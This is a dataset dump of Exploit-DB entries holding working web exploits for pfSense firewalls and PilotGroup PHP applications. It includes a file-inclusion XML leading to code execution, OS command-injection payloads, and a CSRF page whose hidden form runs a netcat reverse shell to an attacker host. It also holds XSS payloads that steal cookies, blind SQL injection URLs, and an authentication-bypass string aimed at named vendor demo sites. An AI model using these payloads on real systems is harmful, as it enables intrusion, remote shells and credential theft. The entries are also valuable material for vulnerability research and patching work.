deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39038
Description: pfSense 2.2.5 - Directory Traversal
Type: webapps
Platform: php
Date: 2015-12-18
Author: R-73eN

Exploit:
# Title : PFSense  <= 2.2.5 Directory Traversal
# Date : 18/12/2015
# Author : R-73eN
# Tested on : PFSense 2.2.5
# Software : https://github.com/pfsense/pfsense
# Vendor : https://pfsense.org/
#  ___        __        ____                 _    _  
# |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    
#  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    
#  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ 
# |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|
#
#
# Fix provided by the vendor https://github.com/pfsense/pfsense/commit/3ac0284805ce357552c3ccaeff0a9aadd0c6ea13
#
#


In pfsense <= 2.2.5 (Latest Version) , during a security audit i discovered the following vulnerabilities in the pfsense Webgui.

The following files are vulnerable to a file inclusion attack

wizard.php?xml=
pkg.php?xml=

Both of this files do not sanitize the path of the xml parameter and we can load xml files, and loading a special crafted xml file we can gain command execution.

Example:
1.xml (the filename can be whatever .txt , .jpg etc because it does not check for the file extension)

The content of the 1.xml should be:

<?xml version="1.0" encoding="utf-8" ?>
<pfsensewizard>
<totalsteps>12</totalsteps>
<step>
<id>1</id>
<title>LFI example </title>
<description>Lfi example </description>
<disableheader>on</disableheader>
<stepsubmitphpaction>step1_submitphpaction();</stepsubmitphpaction>
<includefile>/etc/passwd</includefile>
</step>
</pfsensewizard>

the parameter <includefile> is passed to a require_once() function which triggers the File inclusion Attack.
As we all know File inclusion attack can be converted to  RCE  very easily.

Then visiting

http://vulnhost/wizard.php?xml=../../../1.xml

where the "xml" parameter is the path of the crafted file, will trigger the vulnerability.

Thanks
Rio Sherri
https://www.infogen.al/ - Infogen AL
Exploit-DB #43128
Description: pfSense 2.3.1_1 - Command Execution
Type: webapps
Platform: php
Date: 2017-11-07
Author: s4squatch

Exploit:
# Exploit Title: pfSense <= 2.3.1_1 Post-Auth Command Execution
# Date: 11-06-2017
# Exploit Author: s4squatch (Scott White - www.trustedsec.com)
# Vendor Homepage: https://www.pfsense.org
# Version: 2.3-RELEASE
# Vendor Security Advisory:  https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc

1. Description
pfSense <= 2.3.1_1 is affected by a post-authetication os command injection vulnerability in auth.inc via the /system_groupmanager.php page (System menu-->User Manager-->Groups) in the handling of the members[] parameter.  This allows an authenticated WebGUI user with
privileges for system_groupmanager.php to execute commands in the context of the root user.

2. Proof of Concept
'`ifconfig>/usr/local/www/ifconfig.txt`'
'`whoami>/usr/local/www/whoami.txt`'

Command output can then be viewed at the webroot:
http://<address>/ifconfig.txt
http://<address>/whoami.txt

Another POC:  0';/sbin/ping -c 10 192.168.1.125;'

3.  Solution
Upgrade to the latest version of pfSense (2.3.1_5 on is fixed). This may be performed in the web interface or from
the console.  See https://doc.pfsense.org/index.php/Upgrade_Guide  Furthermore, the issues can be mitigated by restricting access to the firewall GUI both with firewall rules and by not allowing untrusted users to have accounts with GUI access, and by not granting untrusted administrators access to the pages in question.

Issue was responsibly disclosed to pfSense (security@pfsense.org) on 06/08/2016 and fixed 06/09/2016!
Thank you to Jim P and the pfSense team for the impressive response time.
Exploit-DB #46538
Description: pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-03-13
Author: Gionathan Reale

Exploit:
# Exploit Title: pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Stored Cross-Site Scripting 
# Date: 13.02.2019 
# Exploit Author: Gionathan "John" Reale 
# Vendor Homepage: https://www.pfsense.org 
# Version: 2.4.4-p1/0.59_14 
# Software Link: N/A
# Google Dork: N/A
# CVE:2019-8953 

################################################################################################################################## 
Introduction pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface. 
In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. 
HAProxy is free, open source software that provides a high availability load balancer and proxy server for TCP and HTTP-based applications that spreads requests across multiple servers. 
################################################################################# 

Example: URL https://192.168.1.1/haproxy/haproxy_listeners_edit.php 
PARAMETER Description 
PAYLOAD "><script>alert("test")</script>
Exploit-DB #46936
Description: pfSense 2.4.4-p3 (ACME Package 0.59_14) - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-05-29
Author: Chi Tran

Exploit:
# Exploit Title: pfSense 2.4.4-p3 (ACMEPackage 0.5.7_1) - Stored Cross-Site Scripting 
# Date: 05.28.2019 
# Exploit Author: Chi Tran
# Vendor Homepage: https://www.pfsense.org 
# Version: 2.4.4-p3/0.5.7_1
# Software Link: N/A
# Google Dork: N/A
# CVE:2019-12347 

################################################################################################################################## 
Introduction pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface. 
In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. 

The ACME Package for pfSense interfaces with Let’s Encrypt to handle the certificate generation, validation, and  renewal processes. (https://docs.netgate.com/pfsense/en/latest/certificates/acme-package.html)
################################################################################# 

Proof of Concepts:

1 - Navigate to https://192.168.1.1/acme/acme_accountkeys_edit.php 
2 - In the "Name" and "Description" field, input payload: "><svg/onload=alert(1)>
3 - XSS box will then pop-up
Exploit-DB #48714
Description: pfSense 2.4.4-p3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2020-07-26
Author: ghost_fh

Exploit:
# Exploit Title: pfSense 2.4.4-p3 - Cross-Site Request Forgery
# Date: 2019-09-27
# Exploit Author: ghost_fh
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://www.pfsense.org/download/index.html?section=downloads
# Version: Till 2.4.4-p3
# Tested on: freebsd
# CVE : CVE-2019-16667

# Vulnerability Description :- The pfsense firewall is vulnerable to RCE
# chained with CSRF as it uses `csrf magic` library since it allows to tamper
# the CSRF token values submitted when processing the form requests. Due to
# this flaw, an attacker can exploit this vulnerability by crafting new page
# that contains attacker's controlled input such as a "reverse shell" (eg:
# `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip port
# >/tmp/f`token value) in the form and entice the victims to click
# on the crafted link via social engineering methods. Once the victim clicks
# on the link (try again button in this case), the attacker can take the
# lateral control of the victim's machine and malicious actions can be
# performed on the victim's behalf.

<!DOCTYPE html>
<html>
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
<form id="myForm" action="https://pfsense_ip/diag_command.php" method="POST">
<input type=hidden name="txtCommand" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|
nc attacker_ip attacker_port >/tmp/f">
<input type=hidden name="txtRecallBuffer" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i
2>&1|nc attacker_ip attacker_port >/tmp/f">
<input type=hidden name="dlPath" value="">
<input type=hidden name="txtPHPCommand" value="">
<input type="hidden" name="submit" value="EXEC">
</form>
</body>
</html>

# Create a malicious page containing the above values and once user clicks on malicious link, 
# he will be redirected to https://pfsense_ip/diag_command.php page.
# Victim will be greeted with the "Try again" button.
# Once victim clicks on the "Try again" button you will be greeted with reverse shell of the victim.
Exploit-DB #39695
Description: pfSense Firewall 2.2.6 - Services Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-04-14
Author: Aatif Shahdad

Exploit:
# Exploit Title: pfSense Firewall <= 2.2.6 Cross-Site Request Forgery 
# Exploit Author: Aatif Shahdad
# Software Link: http://files.nyi.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.5-RELEASE-i386.iso.gz
# Version: 2.2.6 and below.
# Contact: https://twitter.com/[PII_REDACTED]5f736
# Category: webapps


1. Description

An attacker can coerce a logged-in victim's browser to issue requests that will start/stop/restart services on the Firewall. 


2. Proof of Concept

Login to the Web Console, for example, http://192.168.0.1 (set at the time of install) and  open the following POC’s:


Start NTPD service:

<html>
 <body>
   <form action="https://192.168.0.1/status_services.php">
     <input type="hidden" name="mode" value="startservice" />
     <input type="hidden" name="service" value="ntpd" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>


Stop NTPD service:

<html>
 <body>
   <form action="https://192.168.0.1/status_services.php">
     <input type="hidden" name="mode" value="stopservice" />
     <input type="hidden" name="service" value="ntpd" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>



Restart NTPD service:

POC:
<html>
 <body>
   <form action="https://192.168.0.1/status_services.php">
     <input type="hidden" name="mode" value="restartservice" />
     <input type="hidden" name="service" value="ntpd" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>

The service will automatically start/stop. 

Note: That NTPD service can be replaced with any service running on the Firewall. For example, to stop the APINGER (gateway monitoring daemon) service, use the following POC:

<html>
 <body>
   <form action="https://192.168.0.1/status_services.php">
     <input type="hidden" name="mode" value="stopservice" />
     <input type="hidden" name="service" value="apinger" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>



3. Solution:

Upgrade to version 2.3 at https://www.pfsense.org/download/mirror.php?section=downloads
Exploit-DB #17531
Description: PG eLms Pro vDEC_2007_01 - 'contact_us.php' Multiple POST Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-07-14
Author: LiquidWorm

Exploit:
<!--

PG eLMS Pro vDEC_2007_01 (contact_us.php) Multiple POST XSS Vulnerabilities

Vendor: PilotGroup Ltd
Product web page: http://www.elmspro.com
Affected version: DEC_2007_01

Summary: eLMS Pro solution is an outstanding and yet simple Learning Management
system. Our product is designed for any education formations: from small distance
training companies up to big colleges and universities. The system allows to build
courses, import SCORM content, deploy online learning, manage users, communicate
with users, track training results, and more.

Desc: Input passed via the 'subject', 'name', 'email' and 'body' parameters to
'contact_us.php' script is not properly sanitised before being returned to the
user. This can be exploited to execute arbitrary HTML and script code in a user's
browser session in context of an affected site.


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 1.3.27 (Win32)
           PHP 5.2.4
           MySQL 14.14 Distrib 5.1.43 (Win32-ia32)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab


Advisory ID: ZSL-2011-5027
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5027.php



08.07.2011

-->


<html>
<title>PG eLMS Pro vDEC_2007_01 (contact_us.php) Multiple POST XSS Vulnerabilities</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">function xss1(){document.forms["xss"].submit();}</script>
<form action="http://localhost:6450/contact_us.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss">
<input type="hidden" name="send" value="1" />
<input type="hidden" name="subject" value='"><script>alert(1)</script>' />
<input type="hidden" name="name" value='"><script>alert(2)</script>' />
<input type="hidden" name="email" value='"><script>alert(3)</script>' />
<input type="hidden" name="body" value='1&lt;/textarea&gt;"><script>alert(4)</script>' />
</form>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><center><h3><br /><br />Exploit!<h3></center></font></b></a>
</body>
</html>
Exploit-DB #17532
Description: PG eLms Pro vDEC_2007_01 - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2011-07-14
Author: LiquidWorm

Exploit:
PG eLMS Pro vDEC_2007_01 Multiple Blind SQL Injection Vulnerabilities

Vendor: PilotGroup Ltd
Product web page: http://www.elmspro.com
Affected version: DEC_2007_01

Summary: eLMS Pro solution is an outstanding and yet simple Learning Management
system. Our product is designed for any education formations: from small distance
training companies up to big colleges and universities. The system allows to build
courses, import SCORM content, deploy online learning, manage users, communicate
with users, track training results, and more.

Desc: Input passed via the 'lang_code' GET parameter to index.php and login.php
in '/www/core/language.class.php', and 'login' POST parameter to login.php is
not properly sanitised before being used in SQL queries. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code.


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 1.3.27 (Win32)
           PHP 5.2.4
           MySQL 14.14 Distrib 5.1.43 (Win32-ia32)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab


Advisory ID: ZSL-2011-5028
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5028.php



08.07.2011


--


- http://localhost:6450/index.php?lang_code=1'+and+sleep(5)%23 (get)
- http://localhost:6450/login.php?lang_code=1'+and+sleep(5)%23 (get)

- http://localhost:6450/login.php (post)

  login=r00t'+or+sleep(5)%23&password=t00t!
Exploit-DB #7202
Description: PG Job Site - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-23
Author: ZoRLu

Exploit:
[~] PG Job Site homepage.php (poll_view_id) Blind Sql inj.
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Date: 23.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Kucuk Bir Rica: Lutfen DemolarÃ½ Hacklemeyin ( pls dont make hack demos )
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: a.q a.q a.q a.q a.q a.q a.q a.q a.q limit(a.q)=sonsuz  ( bIktIm )
[~] -----------------------------------------------------------

exploit for demo: ( you must login to site after you test this links. you look left for two link)

http://www.jobsoftpro.com/demo/homepage.php?action=results&poll_ident=6&poll_view_id=6+and+substring(@@version,1,1)=4 ( true )

http://www.jobsoftpro.com/demo/homepage.php?action=results&poll_ident=6&poll_view_id=6+and+substring(@@version,1,1)=5 ( false )

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-23]
Exploit-DB #33106
Description: PG Matchmaking - 'browse_ladies.php?show' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35808/info

PG Matchmaking is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/browse_ladies.php?show="><script>alert(document.cookie);</script>
Exploit-DB #33107
Description: PG Matchmaking - 'browse_men.php?show' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35808/info
 
PG Matchmaking is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/browse_men.php?show="><script>alert(document.cookie);</script>
Exploit-DB #33108
Description: PG Matchmaking - 'search.php?show' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35808/info
  
PG Matchmaking is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/search.php?search=SEARCH&gender="><script>alert(document.cookie);</script>
Exploit-DB #33109
Description: PG Matchmaking - 'services.php?show' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35808/info
   
PG Matchmaking is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/services.php?id="><script>alert(document.cookie);</script>
Exploit-DB #20671
Description: PG Portal Pro - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-08-20
Author: Noxious

Exploit:
###########################################################
[~] Exploit Title: PG Portal pro CSRF Vulnerability
[~] Author: Noxious
[~] Team: WE SECRET
[~] Gr33tz: Fox
[~] link:http://www.hotscripts.com/listing/pg-portal-pro/
###########################################################
 [CSRF Change Password]
 
 <form method="POST" action="http://server/admin/admin_settings.php" enctype="multipart/form-data">
 <input type="hidden" name="sel" value="save_admin_pass"><table cellpadding="3" cellspacing="0"><tr><td width="150"><font class="main_header_text">New Password:</font></td><td><input type="password" name="new_pass" value="" style="width: 200px;"></td></tr><tr><td>
 <font class="main_header_text">Confirm New Password:</font></td><td><input type="password" name="new_pass_confirm" value="" style="width: 200px;"></td></tr><tr><td> </td><td>
 <input type="submit" value="Save"></td></tr></table></form></div>
Exploit-DB #7200
Description: PG Real Estate - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-23
Author: ZoRLu

Exploit:
[~] PG Real Estate Solution Auth Bypass
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Date: 23.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Kucuk Bir Rica: Lutfen DemolarÃ½ Hacklemeyin ( pls dont make hack demos )
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: a.q a.q a.q a.q a.q a.q a.q a.q a.q limit(a.q)=sonsuz  ( bIktIm )
[~]
[~] dork: "Powered by PG Real Estate Solution - real estate web site design"  ( aha size dork :( ( )
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin 


exploit for demo: 

login: http://www.realtysoft.pro/realestate/demo/admin/index.php

username: admin ' or ' 1=1--

password: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-23]
Exploit-DB #33112
Description: PG Roommate Finder Solution - 'quick_search.php?part' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-27
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35814/info

PG Roommate Finder Solution is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/roommate/demo/quick_search.php?part="><script>alert(document.cookie);</script>
Exploit-DB #33113
Description: PG Roommate Finder Solution - 'viewprofile.php?part' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-27
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35814/info
 
PG Roommate Finder Solution is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/roommate/demo/viewprofile.php?part="><script>alert(document.cookie);</script>